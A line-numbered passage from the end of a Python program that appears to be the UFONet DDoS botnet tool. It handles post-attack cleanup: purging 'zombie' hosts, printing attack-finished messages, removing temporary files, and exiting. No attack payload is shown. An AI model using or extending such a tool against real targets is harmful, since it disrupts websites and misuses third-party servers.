  4813. print(" + [Info] [Droids] "+d+" -> [Purged!]")
  4814. if self.num_discard_rpcs > 0:
  4815. for r in self.discard_rpcs:
  4816. discarded.append(r)
  4817. print(" + [Info] [X-RPCs] "+r+" -> [Purged!]")
  4818. if self.num_discard_ucavs > 0:
  4819. for u in self.discard_ucavs:
  4820. discarded.append(u)
  4821. print(" + [Info] [UCAVs] "+u+" -> [Purged!]")
  4822. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  4823. if disc_zombies > 0 and disc_zombies < 2:
  4824. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n")
  4825. elif disc_zombies > 1:
  4826. print("\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n")
  4827. if not self.options.target_list:
  4828. print('-'*21+ "\n")
  4829. print("[AI] "+self.exit_msg+"\n")
  4830. if not self.options.web:
  4831. return
  4832. else:
  4833. if self.num_target_list > 0: # still more targets
  4834. print('-'*21+ "\n")
  4835. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n")
  4836. return
  4837. else: # finish attack from multiple targets
  4838. print('-'*21+ "\n")
  4839. print("[Info] [AI] Attack against: "+str(target)+" -> [Finished!]")
  4840. print("\n"+ '='*21+ "\n")
  4841. print("[Info] [AI] All your battles have ended! -> [Exiting!]")
  4842. print("\n"+ '-'*21+ "\n")
  4843. print("[AI] "+self.exit_msg+"\n")
  4844. if not self.options.web:
  4845. return
  4846. else:
  4847. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  4848. print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
  4849. if os.path.exists('mothership') == True:
  4850. os.remove('mothership') # remove mothership stream
  4851. if os.path.exists('alien') == True:
  4852. os.remove('alien') # remove random alien worker
  4853. if not options.web:
  4854. sys.exit(2) # exit
  4855. else:
  4856. return
  4857. else:
  4858. print("\n" + '='*21)
  4859. AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  4860. if AI_reply == "y" or AI_reply == "Y":
  4861. self.AI() # AI fortune cookie
  4862. print('-'*21+ "\n")
  4863. print("\n[AI] "+self.exit_msg+"\n")
  4864. if os.path.exists('mothership') == True:
  4865. os.remove('mothership') # remove mothership stream
  4866. if os.path.exists('alien') == True:
  4867. os.remove('alien') # remove random alien worker
  4868. if not options.web:
  4869. sys.exit(2) # exit
  4870. else:
  4871. return
  4872. else:
  4873. if not options.attackme:
  4874. print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
  4875. else:
  4876. print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
  4877. print("\n" + '-'*21)
  4878. print("\n[AI] "+self.exit_msg+"\n")
  4879. if os.path.exists('mothership') == True:
  4880. os.remove('mothership') # remove mothership stream
  4881. if os.path.exists('alien') == True:
  4882. os.remove('alien') # remove random alien worker
  4883. return
  4884. if __name__ == "__main__":
  4885. app = UFONet()
  4886. options = app.create_options()
  4887. if options:
  4888. app.run()